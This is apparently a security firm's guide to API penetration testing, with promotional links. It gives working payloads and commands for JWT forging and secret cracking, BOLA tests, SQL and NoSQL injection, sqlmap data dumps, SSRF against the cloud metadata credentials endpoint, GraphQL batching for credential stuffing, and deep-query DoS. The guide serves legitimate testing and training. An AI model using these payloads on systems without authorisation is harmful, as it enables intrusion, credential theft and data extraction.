API Security Testing: Methodology, Tools, and Common Vulnerabilities to Find

APIs are the connective tissue of modern software. They power mobile apps, third-party integrations, microservices, and cloud platforms. They are also one of the most consistently exploited attack surfaces in enterprise environments today. Unlike traditional web applications, APIs expose business logic directly, often with weaker input validation, inconsistent authentication controls, and verbose error messages that hand attackers a roadmap.

This guide covers how to approach API security testing with a structured methodology, which professional-grade tools to use, and the most impactful vulnerability classes to hunt for across REST, GraphQL, and SOAP interfaces.

Why API Security Testing Demands Its Own Methodology

Standard web application testing techniques do not translate cleanly to APIs. There is no rendered DOM to inspect, no form submissions to intercept casually, and no browser-enforced same-origin policy acting as a passive safety net. API testing requires you to think in terms of endpoints, HTTP verbs, data schemas, authentication tokens, and business logic flows.

The attack surface has also expanded dramatically. Organizations now maintain hundreds of internal and external API endpoints, many of which are undocumented, forgotten, or inherited from legacy systems. This is what makes API security one of the highest-leverage areas for penetration testers today, and it is exactly where the team at Redfox Cybersecurity focuses significant effort on behalf of clients across regulated industries.

Phase 1: Reconnaissance and API Discovery

Before sending a single request, map the API surface as thoroughly as possible. Discovery is often the phase that separates a thorough engagement from a superficial one.

Collecting API Documentation

Start with any publicly available or provided documentation:

• OpenAPI / Swagger specs (usually at /swagger.json, /openapi.yaml, or /api-docs)
• Postman collections shared in repositories
• WSDL files for SOAP services
• GraphQL introspection schemas

curl -s https://target.example.com/swagger.json | python3 -m json.tool | grep -E '"(get|post|put|delete|patch)"' | head -40


[cta]

Passive Discovery with JavaScript Analysis

Modern SPAs leak API endpoints through their bundled JavaScript. Tools like LinkFinder and manual review of webpack bundles can surface endpoints not in any official documentation.

python3 linkfinder.py -i https://target.example.com -d -o cli | grep -E "/api/"


[cta]

Forced Browsing and Fuzzing for Hidden Endpoints

Use ffuf with an API-specific wordlist to discover undocumented routes:

ffuf -u https://target.example.com/api/v1/FUZZ \
    -w /usr/share/wordlists/api_wordlist.txt \
    -mc 200,201,204,301,302,401,403 \
    -H "Authorization: Bearer <token>" \
    -t 40 \
    -o discovered_endpoints.json


[cta]

Do not overlook version enumeration. APIs frequently leave older versions (/v1/, /v2/, /beta/) active in production long after they have been deprecated, and those older versions often lack the security controls applied to current ones.

Phase 2: Authentication and Authorization Testing

Authentication and authorization flaws are the most critical vulnerabilities in any API, and they are strikingly common. The OWASP API Security Top 10 places Broken Object Level Authorization (BOLA) and Broken Authentication at the very top for good reason.

Testing JWT Security

JWTs are the dominant authentication mechanism for REST APIs. Common weaknesses include algorithm confusion attacks, weak secrets, and missing signature validation.

Algorithm confusion (RS256 to HS256):

import jwt
import requests

# Fetch the public key from the JWKS endpoint
# then attempt to sign using HS256 with the public key as the secret
public_key = open("public.pem").read()

forged_token = jwt.encode(
   {"sub": "admin", "role": "superuser", "iat": 1700000000},
   public_key,
   algorithm="HS256"
)

headers = {"Authorization": f"Bearer {forged_token}"}
response = requests.get("https://target.example.com/api/admin/users", headers=headers)
print(response.status_code, response.text)


[cta]

Brute-forcing weak JWT secrets with hashcat:

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiJ9.<payload>.<signature> \
 /usr/share/wordlists/rockyou.txt


[cta]

Testing for BOLA (Insecure Direct Object Reference)

BOLA occurs when an API exposes object identifiers that a user can manipulate to access resources belonging to other users. This is the single most prevalent API vulnerability in real engagements.

# Authenticated as user with id=1001, test access to other user objects
curl -s -H "Authorization: Bearer <user_1001_token>" \
 https://target.example.com/api/v1/users/1002/profile

curl -s -H "Authorization: Bearer <user_1001_token>" \
 https://target.example.com/api/v1/orders/88451/invoice


[cta]

Automate this with Burp Suite's Intruder or the Autorize extension to replay authenticated requests from one session context into another, flagging any 200 responses that should have returned 403.

Function-Level Authorization (BFLA)

Test whether lower-privileged users can call administrative endpoints by substituting their tokens into requests captured from an admin session.

# Low-privilege user token attempting an admin-only action
curl -X DELETE \
 -H "Authorization: Bearer <low_priv_token>" \
 https://target.example.com/api/admin/users/1055


[cta]

Phase 3: Input Validation and Injection Testing

SQL Injection in API Parameters

APIs that pass query parameters directly into database queries remain vulnerable to SQL injection, even when the interface is JSON-based.

# Testing a JSON body parameter for SQLi
curl -s -X POST https://target.example.com/api/v1/search \
 -H "Content-Type: application/json" \
 -H "Authorization: Bearer <token>" \
 -d '{"query": "admin'\''--"}'


[cta]

Use sqlmap with a captured request file for thorough coverage:

sqlmap -r captured_api_request.txt \
 --level=5 \
 --risk=3 \
 --dbms=postgresql \
 --batch \
 --dump-all


[cta]

NoSQL Injection

For APIs backed by MongoDB or similar stores, test operator injection:

curl -s -X POST https://target.example.com/api/v1/login \
 -H "Content-Type: application/json" \
 -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'


[cta]

Server-Side Request Forgery via API Parameters

APIs that accept URLs as input parameters are prime SSRF candidates. Test for access to internal metadata services:

# AWS metadata endpoint via SSRF
curl -s -X POST https://target.example.com/api/v1/fetch \
 -H "Authorization: Bearer <token>" \
 -H "Content-Type: application/json" \
 -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'


[cta]

This is a vulnerability class that consistently yields high-severity findings in cloud-hosted APIs. If you want an expert review of your API attack surface before adversaries find these weaknesses, the Redfox Cybersecurity services team runs targeted API penetration tests that cover exactly these scenarios.

Phase 4: GraphQL-Specific Testing

GraphQL presents a distinctly different attack surface from REST. Its flexible query language and schema introspection capabilities create opportunities that traditional API testing workflows do not cover.

Introspection Queries

If introspection is not disabled in production, an attacker can enumerate the entire schema:

curl -s -X POST https://target.example.com/graphql \
 -H "Content-Type: application/json" \
 -d '{"query": "{ __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"}'


[cta]

Use clairvoyance to reconstruct the schema even when introspection is partially restricted, by fuzzing field names based on error messages.

Batching Attacks for Rate Limit Bypass

GraphQL's batching feature allows multiple operations in a single HTTP request, which attackers use to bypass rate limiting:

[
 {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
 {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
 {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"}
]


Send this batch as a single POST request to attempt credential stuffing while evading per-request rate limits.

Deeply Nested Query DoS

Test whether the server enforces query depth limits:

{
 user {
   friends {
     friends {
       friends {
         friends {
           friends {
             friends {
               id
               username
             }
           }
         }
       }
     }
   }
 }
}


[cta]

Excessive query depth without server-side limiting can cause resource exhaustion and denial of service conditions on poorly configured GraphQL servers.

Phase 5: Rate Limiting, Mass Assignment, and Business Logic

Testing for Mass Assignment

APIs that automatically bind request body parameters to internal object properties may allow users to set fields they should never control, such as isAdmin, accountBalance, or role.

curl -s -X PUT https://target.example.com/api/v1/users/me \
 -H "Authorization: Bearer <token>" \
 -H "Content-Type: application/json" \
 -d '{"name": "Test User", "email": "test@example.com", "role": "admin", "is_verified": true}'


[cta]

If the response reflects the modified role or is_verified fields, mass assignment is confirmed. This class of vulnerability is especially common in frameworks that use automatic model binding, such as Ruby on Rails, Laravel, and certain Node.js ORMs.

Rate Limit and Throttling Testing

APIs without proper rate limiting are vulnerable to brute force, credential stuffing, and enumeration. Test rate limiting by automating requests and observing when (or whether) blocking occurs:

# Rapid-fire login attempts to test rate limiting
for i in $(seq 1 100); do
 curl -s -o /dev/null -w "%{http_code}\n" \
   -X POST https://target.example.com/api/v1/auth/login \
   -H "Content-Type: application/json" \
   -d "{\"username\": \"admin\", \"password\": \"attempt${i}\"}"
done


[cta]

If all 100 requests return 200 or 401 without any 429 responses, rate limiting is absent. Document this alongside any account lockout behavior observed.

Core Tools for Professional API Security Testing

The following tools form a reliable toolkit for comprehensive API assessments. Each serves a specific purpose and works well in combination.

Burp Suite Professional

Burp Suite is the anchor of any professional API testing workflow. For API work specifically:

• Use the Logger and Proxy to capture all API traffic from mobile apps or web clients
• The Intruder module handles parameter fuzzing and BOLA enumeration
• Repeater is indispensable for manual payload testing
• The Autorize extension automates authorization testing across user roles

Configure Burp to intercept traffic from mobile apps using its built-in CA certificate installed on the device, or use apktool to unpin certificate pinning logic before routing traffic through the proxy.

OWASP ZAP with API Scanning

ZAP's OpenAPI scanning mode can ingest a Swagger or OpenAPI specification and automatically fuzz all defined endpoints:

docker run -v $(pwd):/zap/wrk/:rw \
 ghcr.io/zaproxy/zaproxy:stable \
 zap-api-scan.py \
 -t /zap/wrk/openapi.yaml \
 -f openapi \
 -r zap_api_report.html


[cta]

Nuclei for Automated Vulnerability Detection

ProjectDiscovery's nuclei has a mature library of API-specific templates covering exposed admin endpoints, misconfigured CORS, open debug routes, and more:

nuclei -u https://target.example.com \
 -t api/ \
 -t exposures/ \
 -t misconfiguration/ \
 -H "Authorization: Bearer <token>" \
 -severity medium,high,critical \
 -o nuclei_api_findings.txt


[cta]

httpie and jq for Manual Testing

For readable, rapid manual testing of JSON APIs, httpie paired with jq is far more ergonomic than raw curl:

http GET https://target.example.com/api/v1/admin/users \
 Authorization:"Bearer <token>" | jq '.[] | {id, username, role}'


[cta]

kiterunner for Content Discovery

Assetnote's kiterunner outperforms generic wordlist fuzzers for API route discovery because it uses real API route datasets and respects request body schemas:

kr scan https://target.example.com \
 -w routes-large.kite \
 -H "Authorization: Bearer <token>" \
 --fail-status-codes 404,405 \
 -o text


[cta]

OWASP API Security Top 10: The Vulnerability Classes That Matter Most

Every API security engagement should systematically check for the OWASP API Security Top 10. The highest-priority items in practice are:

• BOLA (API1): Object-level access controls are missing or improperly scoped. This is the most common finding in real API assessments and the highest business impact.
• Broken Authentication (API2): Weak token handling, missing expiry, no refresh token rotation, and acceptance of algorithm none in JWTs.
• Broken Object Property Level Authorization (API3): Users can read or write object properties they should not have visibility into, including sensitive fields filtered server-side but returned in raw API responses.
• Unrestricted Resource Consumption (API4): No rate limiting on compute-heavy endpoints, file uploads, or query operations.
• Security Misconfiguration (API8): Verbose stack traces in error responses, CORS misconfigured to *, HTTP used instead of HTTPS, and debug endpoints left enabled.
• SSRF (API7): Covered above, especially critical in cloud environments where the metadata service is reachable from the application layer.

Comprehensive coverage of this list is what the Redfox Cybersecurity penetration testing practice delivers on every API engagement, with evidence-based reporting mapped to real business risk rather than generic scanner output.

Reporting API Findings Effectively

Technical findings mean nothing without clear communication of business impact. For each vulnerability:

• Document the exact request and response that demonstrates exploitability
• Quantify the blast radius: how many records or users are affected
• Provide a severity rating anchored to CVSS or a clearly explained internal framework
• Include remediation guidance tied to the specific framework or language in use, not generic advice

For BOLA findings, show a proof-of-concept that accesses another user's data without fabricating impact. For injection findings, demonstrate data extraction without causing damage to the environment.

Final Thoughts

API security testing is not a checkbox exercise. It requires a structured methodology that covers authentication, authorization, input validation, business logic, and infrastructure configuration across REST, GraphQL, and SOAP surfaces. The vulnerability classes that matter most, particularly BOLA, broken authentication, and SSRF, rarely surface through automated scanners alone. They require a tester who understands business context and knows where to push.

The commands, payloads, and tool configurations in this guide reflect real-world professional practice. They are a starting point, not a complete playbook. Every API is different, and the most impactful findings almost always come from understanding what the API is supposed to do and then systematically testing what happens when you make it do something it should not.

If your organization needs a thorough, evidence-driven API security assessment, the Redfox Cybersecurity team is ready to help you find what your scanners are missing.